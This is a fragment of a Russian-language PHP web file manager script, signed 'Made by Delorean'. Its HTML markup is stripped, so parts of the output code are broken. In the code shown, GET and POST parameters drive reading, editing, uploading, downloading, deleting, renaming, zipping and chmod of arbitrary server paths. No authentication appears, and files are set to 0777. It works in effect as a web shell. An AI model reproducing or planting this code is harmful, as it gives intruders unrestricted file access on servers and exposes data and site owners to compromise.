';} ///////////////////////////////// //////////Файл менеджер////////// ///////////////////////////////// if(empty($_GET['r']) & empty($_GET['input']) & empty($_GET['ren']) & empty($_GET['setchmod']) & empty($_GET['download']) & empty($_GET['up']) & empty($_GET['upload']) & empty($_GET['chmod']) & empty($_GET['rename']) & empty($_GET['rmdir']) & empty($_GET['made']) & empty($_GET['create']) & empty($_GET['del']) & empty($_GET['deldir']) & empty($_GET['f']) & empty($_GET['edit']) & empty($_GET['zip'])& empty($_GET['img'])){ echo'Файл менеджер
'; if(empty($_GET['d'])){$d="./";} else{$d=$_GET['d'];} if($d=="./"){$vverh='.'.$d;} if($d!=="./"){$vverh=$d.'../';} echo'На уровень вверх
Создать файл здесь
Загрузить файл сюда
Вы находитель в каталоге: '.$d.'
'; echo 'Директории:'; $dir = opendir($d); while($file = readdir($dir)){ if(is_dir($d.'/'.$file)){ if($file != "." && $file != ".."){ $mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3); echo'';}}} echo'
'.$file.'DIR'.$mod.'[zip][del][rename][chmod][revome]

Файлы:'; $dir = opendir($d); while($file = readdir($dir)){ if(is_file($d.'/'.$file)){ $mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3); echo'';}} echo'
'.$file.''; echo round(filesize("$d/$file")/1024,1); echo' кб.'.$mod.'[edit][del][rename][chmod][down]
';} ///////////////////////////////// /////////Переименование////////// ///////////////////////////////// if(isset($_GET['ren'])){ echo'Переименование
'; echo'

';} ///////////////////////////////// ////////////Картинки///////////// ///////////////////////////////// if(isset($_GET['img'])){ $images = array("", "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". "UpPWG3Ig6Hq/XmRjuZwkAAA7"); header("Content-type: image/gif"); echo base64_decode($images[$img]);} ///////////////////////////////// /////////Аплоад файлов/////////// ///////////////////////////////// if(isset($_GET['up'])){ echo'Аплоад файлов
'; echo'
Сохранить как:

';} ///////////////////////////////// /////////Аплоад файлов/////////// ///////////////////////////////// if(isset($_POST['upload'])){ $new_name=trim($_POST['new_name']); if(copy($_FILES["file"]["tmp_name"], $_POST['upload'].$new_name)){ echo 'Файл успешно загружен';} else{echo 'Загрузка файла не удалась!';}} ///////////////////////////////// ////////////Download///////////// ///////////////////////////////// if(isset($_GET['download'])){ $file = file_get_contents($_GET['download']); $name = explode("/",$_GET['download']); $name = $name[count($name)-1]; header('Content-type: text/plain'); header("Content-disposition: attachment; filename=$name"); echo $file;} ///////////////////////////////// /////////////Chmods////////////// ///////////////////////////////// if(isset($_GET['chmod'])){ echo'Chmods
'; $mod=substr(sprintf("%o",fileperms($_GET['chmod'])),-3); echo'

';} ///////////////////////////////// /////////////Chmods////////////// ///////////////////////////////// if(isset($_GET['setchmod'])){ echo'Chmods
'; $chm = chmod($_GET['setchmod'],'0'.$_POST['chmods']); if($chm){echo'Chmod '.$_POST['chmods'].' заданы!';} if(!$chm){echo'Ошмбка задавания chmod '.$_POST['chmods'].'!';}} ///////////////////////////////// ///////Удаление директории/////// ///////////////////////////////// if(isset($_GET['rmdir'])){ echo'Удаление директории
'; $dir = opendir($_GET['rmdir']); while($dirs = readdir($dir)){ if(is_dir($_GET['rmdir'].$dirs)){ if($dirs != "." && $dirs != ".."){ $poddir = rmdir($_GET['rmdir'].$dirs);}}} closedir($dir); $ddir = rmdir($_GET['rmdir']); if($ddir){echo'Директория удалена!';} if(!$ddir){echo'Ошибка удаления!';} if($poddir){echo'
Поддиректории удалены!';} if(!$poddir){echo'
Ошибка удаления поддиректорий!';}} ///////////////////////////////// ////////Переименование/////////// ///////////////////////////////// if(isset($_GET['rename'])){ echo'Переименование
'; $name = rename($_GET['rename'],$new_name); if($name){echo'Переименовано!';} if(!$name){echo'Ошибка переименования!';}} ///////////////////////////////// //////////Чтение файла/////////// ///////////////////////////////// if(isset($_GET['r'])){ echo'Чтение файла
'; $file=file($_GET['r']); if($file){ for($i=0; $i'.$file[$i].'
';}} if(!$file){echo'Ошибка чтения файла!';}} ///////////////////////////////// /////////Удаление файла////////// ///////////////////////////////// if(isset($_GET['del'])){ echo'Удаление файла
'; $delete = unlink($_GET['del']); if($delete){print 'Файл '.$_GET['del'].' удален!
';} if(!$delete){print 'Ошибка удаления файла '.$_GET['del'].'!';}} ///////////////////////////////// //Удаление файлов из каталогов/// ///////////////////////////////// if(isset($_GET['deldir'])){ echo'Удаление файлов из каталогов
'; $dir = opendir($_GET['deldir']); while($files = readdir($dir)){ if(is_file($_GET['deldir'].$files)){ $del = unlink($_GET['deldir'].$files);} if(is_dir($_GET['deldir'].$files) && $files !="." && $files !=".."){ $odir = opendir($_GET['deldir'].$files); while($reddir = readdir($odir)){ if(is_file($_GET['deldir'].$files.'/'.$reddir)){ $delet = unlink($_GET['deldir'].$files.'/'.$reddir);}}}} if($del){print 'Файлы из директории '.$_GET['deldir'].' удалены!';} if(!$del){print 'Ошибка удаления файлов из из директории '.$_GET['deldir'].'!';} if($delet){print'
Файлы из подкаталогов в директории '.$_GET['deldir'].' удалены!';} if(!$delet){print'
Ошибка удаления Файлов из подкаталогов в директории '.$_GET['deldir'].'!';}} ///////////////////////////////// //////Редактирование файла/////// ///////////////////////////////// if(isset($_GET['f'])){ echo'Редактирование файла
'; $file = file_get_contents($_GET['f']); $file = htmlspecialchars($file); echo'
';} ///////////////////////////////// /////////Создание файла////////// ///////////////////////////////// if(isset($_GET['create'])){ echo'Создание файла
'; echo'

';} ///////////////////////////////// /////////Создание файла////////// ///////////////////////////////// if(isset($_GET['made'])){ echo'Создание файла
'; $fp = fopen($_GET['made'].$_POST['new_name'],"w"); fputs($fp,$_POST['new_file']); fclose($fp); chmod($_GET['made'].$_POST['new_name'], 0777); if($fp){echo'Файл создан!';} if(!$fp){echo'Ошибка создания файла!';}} ///////////////////////////////// //////Редактирование файла/////// ///////////////////////////////// if(isset($_GET['edit'])){ echo'Редактирование файла
'; $fp = fopen($_GET['edit'],"w"); fputs($fp,$_POST['text']); fclose($fp); chmod($_GET['edit'], 0777); if($fp){echo'Файл отредактирован!';} if(!$fp){echo'Ошибка записи файла!';}} ///////////////////////////////// //////////Зипирование//////////// ///////////////////////////////// if(isset($_GET['zip'])){ class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function add_dir($name) { $name = str_replace("\\", "/", $name); $fr = "\x50\x4b\x03\x04"; $fr .= "\x0a\x00"; $fr .= "\x00\x00"; $fr .= "\x00\x00"; $fr .= "\x00\x00\x00\x00"; $fr .= pack("V",0); $fr .= pack("V",0); $fr .= pack("V",0); $fr .= pack("v", strlen($name) ); $fr .= pack("v", 0 ); $fr .= $name; $fr .= pack("V",$crc); $fr .= pack("V",$c_len); $fr .= pack("V",$unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode("", $this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .="\x00\x00"; $cdrec .="\x0a\x00"; $cdrec .="\x00\x00"; $cdrec .="\x00\x00"; $cdrec .="\x00\x00\x00\x00"; $cdrec .= pack("V",0); $cdrec .= pack("V",0); $cdrec .= pack("V",0); $cdrec .= pack("v", strlen($name) ); $cdrec .= pack("v", 0 ); $cdrec .= pack("v", 0 ); $cdrec .= pack("v", 0 ); $cdrec .= pack("v", 0 ); $ext = "\x00\x00\x10\x00"; $ext = "\xff\xff\xff\xff"; $cdrec .= pack("V", 16 ); $cdrec .= pack("V", $this -> old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function add_file($data, $name) { $name = str_replace("\\", "/", $name); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= "\x00\x00\x00\x00"; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack("V",$crc); $fr .= pack("V",$c_len); $fr .= pack("V",$unc_len); $fr .= pack("v", strlen($name) ); $fr .= pack("v", 0 ); $fr .= $name; $fr .= $zdata; $fr .= pack("V",$crc); $fr .= pack("V",$c_len); $fr .= pack("V",$unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode("", $this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .="\x00\x00"; $cdrec .="\x14\x00"; $cdrec .="\x00\x00"; $cdrec .="\x08\x00"; $cdrec .="\x00\x00\x00\x00"; $cdrec .= pack("V",$crc); $cdrec .= pack("V",$c_len); $cdrec .= pack("V",$unc_len); $cdrec .= pack("v", strlen($name) ); $cdrec .= pack("v", 0 ); $cdrec .= pack("v", 0 ); $cdrec .= pack("v", 0 ); $cdrec .= pack("v", 0 ); $cdrec .= pack("V", 32 ); $cdrec .= pack("V", $this -> old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode("", $this -> datasec); $ctrldir = implode("", $this -> ctrl_dir); return $data. $ctrldir. $this -> eof_ctrl_dir. pack("v", sizeof($this -> ctrl_dir)). pack("v", sizeof($this -> ctrl_dir)). pack("V", strlen($ctrldir)). pack("V", strlen($data)). "\x00\x00"; }} $abort = ignore_user_abort(1); $zipfile = new zipfile(); $fdir = opendir($_GET['zip']); while($file = readdir($fdir)){ if ($file != '.' and $file != '..'){ if (is_file($_GET['zip'].$file)){$zipfile->add_file(file_get_contents($_GET['zip'].$file),$file);} if (is_dir($_GET['zip'].$file)){ $sdir = opendir($_GET['zip'].$file); while($sfile = readdir($sdir)){ if ($sfile != '.' and $sfile != '..'){ if (is_file($_GET['zip'].$file.'/'.$sfile)){$zipfile->add_file(file_get_contents($_GET['zip'].$file.'/'.$sfile), $file.'/'.$sfile);}}}}}} $name = explode("/",$_GET['zip']); $file = $name[count($name)-2]; header('Content-type: application/octet-stream'); header("Content-disposition: attachment; filename=$file.zip"); echo $zipfile->file();} ///////////////////////////////// //////////////Ноги/////////////// ///////////////////////////////// if(empty($_GET['zip']) and empty($_GET['download']) & empty($_GET['img'])){ echo'
В начало
Made by Delorean
'; list($msec,$sec)=explode(chr(32),microtime()); echo round((($sec+$msec)-$HeadTime),4).' cek.'; echo'';} ?>